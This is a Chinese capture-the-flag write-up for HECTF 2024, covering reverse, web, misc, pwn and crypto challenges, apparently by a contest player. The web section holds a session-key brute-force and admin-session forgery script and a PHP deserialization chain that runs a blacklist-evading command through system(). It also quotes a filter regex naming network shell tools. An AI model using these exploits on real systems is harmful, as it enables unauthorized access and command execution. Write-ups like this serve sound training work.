ID:songhahaha
校外排名:9
解出题目数量:17
REVERSE
PE?py?
首先用pyinstxtractor解包程序,然后得到key为Have_a_cup_of_tea_together。
然后是一个XTEA加密,附上脚本
#include <iostream>
#include <stdint.h>
#include <cstring>
void xtea_decrypt(uint32_t *v, const uint32_t *key, unsigned int num_rounds = 32, uint32_t delta = 1640531527,int cc=0) {
uint32_t sum = -1*delta * num_rounds; // 初始化 sum
uint32_t v0 = v[cc], v1 = v[cc+1];
for (unsigned int i = 0; i < num_rounds; ++i) {
// 逆向的解密过程
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum += delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[cc] = v0;
v[cc+1] = v1;
}
int main() {
// 密文 v[] 和密钥 key[](已经按照小端格式转换)
uint32_t v[] = {
0xdf596194,
0x2cfe74d6,
0x1355ae4d,
0xb6717a87,
0xf27bb57b,
0x08d436c5,
0xc5c8e1af,
0x0a85bd8f,
0x19a70032,
0x400cfef4,
0xaf02e1fc,
0xcdedcfb4,
};
uint32_t key[] = {
0x54434548,
0x32303246,
0x69617734,
0x756f7974,
};
// 调用 XTEA 解密函数
for(int i=0;i<=10;i+=2){
xtea_decrypt(v, key, 32, 1640531527,i);
}
// 输出解密后的结果
std::cout << "Decrypted v[] = { ";
for (int i = 0; i < 12; ++i) {
std::cout << "0x" << std::hex << v[i] << " ";
}
std::cout << "}" << std::endl;
// 将解密后的 uint32_t 数组转换为字节数组(可用于查看明文)
unsigned char decrypted[48];
for (int i = 0; i < 11; ++i) {
decrypted[i * 4] = (v[i] & 0xFF);
decrypted[i * 4 + 1] = (v[i] >> 8);
decrypted[i * 4 + 2] = (v[i] >> 16);
decrypted[i * 4 + 3] = (v[i] >> 24) ;
}
// 打印明文(解密后的字节数组)
std::cout << "Decrypted text: ";
for (int i = 0; i < 48; ++i) {
std::cout << decrypted[i];
}
std::cout << std::endl;
return 0;
}
//HECTF{58de01fc-af6b-8cf6-e8ca-db5964ce0b1e}
easyree
先DIE查壳,是UPX,然后010修改一下,把CTF全改成UPX,解包。
之后就是简单的操作逻辑
后面让我猜xor是多少,很简单,由于{在前面未加密,HECTF{,第六位就是{号,根据这个反推xor。
102=126^k
k为24
最后逆向
text = "PNMER{Es_1h_i0_1elxlzoq1lf}"
tot = 8
result = ""
for c in text:
if 'A' <= c <= 'Z':
decrypted = chr((ord(c) - ord('A') - tot) % 26 + ord('A'))
result += decrypted
tot += 1
elif 'a' <= c <= 'z':
decrypted = chr((ord(c) - ord('a') - tot) % 26 + ord('a'))
result += decrypted
tot += 1
else:
result += c
print(result)
HECTF{Re_1s_s0_1nterest1ng}
babyre
观察发现简单异或再加上存在base64换表
dword_55E024F47020 = [81, 67, 84, 67, 85, 66, 90, 118, 79, 70, 72, 115, 92, 70, 125, 107, 78, 80, 85, 104, 81, 85, 125, 62, 69, 93, 67, 103, 69, 62, 59, 61, 71, 73, 83, 32, 84, 89, 67, 96, 64, 95, 73, 126, 69, 56, 117, 56, 71, 124, 37, 41, 90, 125, 89, 99, 95, 70, 87, 56, 95, 66, 121, 40]
baset = [121, 122, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 43, 47, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120]
for i in baset:
print(chr(i), end='')
print()
def reverse_string(v6, length):
original = []
for i in range(length):
original_char = v6[i] ^ (i // 3)
original.append(chr(original_char))
return ''.join(original)
original_data = reverse_string(dword_55E024F47020, len(dword_55E024F47020))
print("Recovered original data:", original_data)
之后直接换表就行
littleasm
汇编。重点在encrypt_loop。
先flag[i]^key[(i+2)%3],再+0x2c
flag[i+1]^key[(i+1)%3]再+0x8
flag[i+2]^key[(i)%3]再+0xc
最后i+3
data = [0x6a,0x28,0x3d,0x4e,0x2b,0x5,0x63,0x1e,0xd,0x73,0x10,0x1c,0x73,0x24,0x21,0x73,0x5e,0x21,0x31,0x5d,0x21,0x3f,0xc,0xd,0x6d,0x4c,0x3]
key = "rev"
for i in range(0,len(data),3):
data[i]-=0x2c
data[i] = data[i] ^ ord(key[(i+2)%3])
data[i+1]-=0x08
data[i+1] = data[i+1] ^ ord(key[(i+1)%3])
data[i+2]^=0x0c
data[i+2] = data[i+2] ^ ord(key[(i)%3])
for i in data:
print(chr(i&0xff),end='')
#HECTF{Ass1mb1y_13_s0_eas7!}
WEB
ezWeb
先是几个比较和一个md5(猜一猜就能猜到),可以如图构造
然后用脚本爆破:
<?php
error_reporting(0);
// 假设我们已经有了加密数据 session 和目标文件路径
$session = "WqkTPgBeDT1U0xQRA4FUT16V+oides2+++hJEj4+kAAF9j148bj+fFB0fZkzESi4Kh99v/W8XieFk+WjBNIHBfxHXLC8pJjDqpqXeVqIbs4p9rDMPSMrD9Q0qKzwgwmO";
$min_seed = 1e5; // 最小种子值
$max_seed = 1e7; // 最大种子值
// session_decrypt 函数
function session_decrypt($session, $key) {
$data = base64_decode($session);
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
$iv = substr($data, 0, $iv_size);
$enc = substr($data, $iv_size);
return openssl_decrypt($enc, $method, $key, 1, $iv);
}
// 判断字符串是否全为可打印字符
function is_printable($string) {
return ctype_print($string); // 如果字符串只包含可打印字符,返回 true
}
// 爆破过程:逐个尝试不同的种子
for ($seed = $min_seed; $seed <= $max_seed; $seed++) {
mt_srand($seed); // 设置种子
$key = rand(); // 生成密钥
// 解密数据
$decrypted_data = session_decrypt($session, $key);
// 仅在解密结果为可打印字符时输出
if ($decrypted_data !== false && is_printable($decrypted_data)) {
echo "Found key: $key\n";
echo "Decrypted data: $decrypted_data\n";
//break; // 找到合适的密钥后退出循环
}
}
?>
然后再把guest改成admin再加密回去。
<?php
function session_decrypt($session, $key) {
$data = base64_decode($session);
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
$iv = substr($data, 0, $iv_size);
$enc = substr($data, $iv_size);
return openssl_decrypt($enc, $method, $key, OPENSSL_RAW_DATA, $iv);
}
function session_encrypt($data, $key) {
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
$iv = openssl_random_pseudo_bytes($iv_size);
$enc = openssl_encrypt($data, $method, $key, OPENSSL_RAW_DATA, $iv);
return base64_encode($iv . $enc);
}
$key = 1342482596;
$session = "8U6lUzvnyh/FxHVcG69RWfxdTfu99IUUJ9sVpXKvmbDWry//M3vkV6WdXZ9aIUDg3RIJ4eybxwvxvg/1O0vSqLxUsxbZ+K09rsw5Tl0sl72hhwsn6TbT3YIWtJ5eMuQU";
// 解密数据
$decrypted_data = session_decrypt($session, $key);
echo "解密后的数据:\n";
echo $decrypted_data . "\n";
// 重新加密数据
$decrypted_data = 'O:4:"User":2:{s:8:"username";s:5:"admin";s:4:"role";s:5:"admin";}';
$encrypted_session = session_encrypt($decrypted_data, $key);
echo "重新加密后的数据:\n";
echo $encrypted_session . "\n";
?>
然后重新提交即可得到flag
Are u happy
已知flag为HECTF开头,那么只需要把HECTF进行base64编码就能找到base64头,搜一下SEVD就能迅速找到。
baby_unserialize
反序列化。附上脚本
<?php
class User{
public $name;
public $passwd;
public $msg;
public $token ;
public function __construct($name,$passwd){
$this->name = $name;
$this->passwd = $passwd;
$this->token = "admin";
}
public function __destruct(){
if(!$this->check()){
exit(0);
}else{
echo $this->msg;
}
}
public function check(){
if ($this->token === "admin"){
return true;
}else{
return false;
}
}
}
class class00{
public function __call($a,$b){
return 1;
}
public function __set($a, $b){
$b();
}
}
class class01{
public $temp = 0;
public $str3;
public $cls;
public function __tostring(){
$this->temp = $this->cls->func1();
if ($this->temp === 1){
$this->cls->str1 = $this->str3;
}else{
echo "0";
return "0";
}
return "have fun";
}
}
class class02{
public $payload;
public function __invoke(){
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|;|date|bash|\$|\x00|`|env|\?|wget|\"|\'|\\\|php|id|whoami|=/i', $this->payload)) {
system($this->payload." >/dev/null 2>&1");
}else{
die("fuck you Hacker");
}
}
}
// 构造class00对象,用于触发__set方法
$class00 = new class00();
// 构造class01对象,使其cls属性指向class00对象
$class01 = new class01();
$class01->cls = $class00;
// 构造class02对象,用于执行命令
$class02 = new class02();
$class02->payload = "/bin/ca[t] /fla[g] #"; // 假设flag文件存在且可读
$class01->str3=$class02;
// 构造User对象,使其msg属性包含class01对象,这样在__destruct方法中会触发class01的__tostring方法
$user = new User("admin","admin");
$user->msg = $class01;
// 序列化User对象
$serializedUser = serialize($user);
// 发送POST请求,包含序列化的User对象
echo ($serializedUser);
?>
然后改一下出来的,改成
O:4:"User":5:{s:4:"name";s:5:"admin";s:6:"passwd";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:20:"/bin/ca[t] /fla[g] #";}s:3:"cls";O:7:"class00":0:{}}s:5:"token";s:5:"admin";}
最后base64编码一下交上去就行
MISC
快来反馈吧!!
填问卷就行。
Rem_You
foremost分离图片,然后把二维码拼出来
JBCUGVCGPN2VMM3YPBRTOUZYNF4UETSUPB2GM6DWKBZE6N2SIZCTGZ2MOBZG6OLBGNAVOMSLKB6Q====
然后base32解密
HECTF{uV3xxc7S8iyBNTxtfxvPrO7RFE3gLpro9a3AW2KP}
恶势力的仓库
流量分析发现这是在攻击一个网站然后下载网站上的文件的过程。
拿到抓下来的机密文件.7z,发现有密码。
联想到
Although there is nothing here, I still have a hint prepared for you: perhaps you’ve seen the password before!!!
密码就在login那里,
登陆成功的密码是miscgod!(注意base64要去掉前三位后反转,这是分析前面的源码得到的)
顺利解压拿到excel,改成zip后辍之后找到一个sheet1.xml体积过于巨大。打开之后一堆0和1,写一个脚本生成二维码。附上脚本
import xml.etree.ElementTree as ET
import qrcode
tree = ET.parse('sheet1.xml')
root = tree.getroot()
namespaces = {
'main': 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'
}
values = []
for cell in root.findall('.//main:c', namespaces):
value = cell.find('main:v', namespaces)
if value is not None:
values.append(value.text)
data = ''.join(values)
print(f"提取的数据为:{data}")
from PIL import Image
from zlib import *
MAX = 200
pic = Image.new("RGB",(MAX,MAX))
str =data
i=0
for y in range(0,MAX):
for x in range(0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0,0,0))
else:pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")
funny
发现图片关键词JK FUN。找到商场
以商场周边的广场和水为线索,找到最终位置为
HECTF{北京市-西城区-西外文化休闲广场-京城水系慈禧水道}
2024HECTF俺来了!!!
关注公众号发消息
简单的压缩包
密码经过字典爆破:np76_
一张图片,用foremost分离一下,拿到zip。
写一个解密脚本解密。
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii
def decrypt(key, iv, encrypted_data):
encrypted_data_bytes = binascii.a2b_hex(encrypted_data)
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = unpad(cipher.decrypt(encrypted_data_bytes), 16)
return decrypted_data
with open("zip2.zip", "rb") as f:
encrypted_content = f.read()
key = b"abcdefghijklmnop"
iv = b"qwertyuiopasdfgh"
decrypted_content = decrypt(key, iv, encrypted_content)
with open("decrypted_oringe.zip", "wb") as f:
f.write(decrypted_content)
顺利拿到flag
PWN
sign in
IDA分析,发现第一次先随便输一个长度小于8的,第二次输入HECTF2024!,拿到shell,之后只需要
cat flag 1>&2
把标准输出流写入到错误流里边,因为前边关闭了标准输出流
CRYPTO
迷茫的艾米莉
Y2w9Iobe_v_Ufbm0ajI05bfzvTP1b_c}{lr
先是栅栏密码解密,栏目数为6
YIUIT{P0fo2bb51lbbmew_0f_rczav9_jv}
然后是维吉尼亚密码,密钥responsibility
HECTF{C0ng2at51ations_0n_comin9_in}
seven more
e与p-1,q-1不互素情况
import libnum
from Crypto.Util.number import *
import itertools
e = 1009 * 7
n = 211174039496861685759253930135194075344490160159278597570478160714793843648384778026214533259531963057737358092962077790023796805017455012885781079402008604439036453706912819711606916173828620000813663524065796636039272173716362247511054616756763830945978879273812551204996912252317081836281439680223663883250992957309172746671265758427396929152878633033380299036765665530677963287445843653357154379447802151146728382517702550201
c = 191928992610587693825282781627928404831411364407297375816921425636703444790996279718679090695773598752804431891678976685083991392082287393228730341768083530729456781668626228660243400914135691435374881498580469432290771039798758412160073826112909167507868640830965603769520664582121780979767127925146139051005022993085473836213944491149411881673257628267851773377966008999511673741955131386600993547529438576918914852633139878066
p = 31160882390461311665815471693453819123352546432384109928704874241292707178454748381602275005604671000436222741183159072136366212086549437801626015758789167455043851748560416003501637268653712148286072544482747238223
q = 6776895366785389188349778634427547683984792095011326393872759455291221057085426285502176493658280343252730331506803173791893339840460125807960788857396637337440004750209164671124188980183308151635629356496128717687
enc = c
N = p*q
def get_oneroot(p, e):
while True:
Zp = Zmod(p)
g = Zp.random_element()
g = g ^ ((p-1) // e)
for mult in divisors(e):
if (mult != e):
g2 = g ^ mult
if (g2 == 1):
break
else:
return g
def decrypt(p, c, e):
w = gcd(e, p-1)
e1, p1 = e // w, (p-1) // w
d = inverse_mod(e1, p1)
c1 = pow(c, d, p)
g, a, b = xgcd(p1, w)
g = get_oneroot(p, w)
m = pow(c1, b, p)
return [ZZ(m * g ^ i) for i in range(w)]
mp_list = decrypt(p, enc, e)
print('Find root p OK')
mq_list = decrypt(q, enc, e)
print('Find root q OK')
for mp, mq in itertools.product(mp_list, mq_list):
m = crt([mp, mq], [p, q])
msg = long_to_bytes(int(m))
if (b'HECTF' in msg):
print(msg)
翻一翻
https://kt.gy/blog/2015/10/asis-2015-finals-rsasr/,改一下python3。
from Crypto.Util.number import long_to_bytes, inverse
import sys
sys.setrecursionlimit(1500)
n = 404647938065363927581436797059920217726808592032894907516792959730610309231807721432452916075249512425255272010683662156287639951458857927130814934886426437345595825614662468173297926187946521587383884561536234303887166938763945988155320294755695229129209227291017751192918550531251138235455644646249817136993
c = 365683379886722889532600303686680978443674067781851827634350197114193449886360409198931986483197030101273917834823409997256928872225094802167525677723275059148476025160768252077264285289388640035034637732158021710365512158554924957332812612377993122491979204310133332259340515767896224408367368108253503373778
e = 65537 # 公钥指数
# n = 6528060431134312098979986223024580864611046696815854430382374273411300418237131352745191078493977589108885811759425485490763751348287769344905469074809576433677010568815441304709680418296164156409562517530459274464091661561004894449297362571476259873657346997681362092440259333170797190642839587892066761627543
def t(a, b, k):
# sqrt(n) has 155 digits, so we need to figure out 77 digits on each side
if k == 77:
if a * b == n:
print("找到素数对:")
print(f"a = {a}")
print(f"b = {b}")
return
for i in range(10):
for j in range(10):
# We try to guess the last not-already-guessed digits of both primes
a1 = a + i * (10 ** k) + j * (10 ** (154 - k))
b1 = b + j * (10 ** k) + i * (10 ** (154 - k))
if a1 * b1 > n:
# a1 and b1 are too large
continue
if (a1 + (10 ** (154 - k))) * (b1 + (10 ** (154 - k))) < n:
# a1 and b1 are too small
continue
if (a1 * b1) % (10 ** (k + 1)) != n % (10 ** (k + 1)):
# The last digits of a1 * b1 (which won't change later) doesn't match n
continue
# this a1 and b1 seem to be a possible match, try to guess remaining digits
t(a1, b1, k + 1)
# The primes have an odd number of digits (155), so we try all possible middle digits
# (it simplifies the code)
for i in range(10):
t(i * (10 ** 77), i * (10 ** 77), 0)
后续正常rsa解密即可。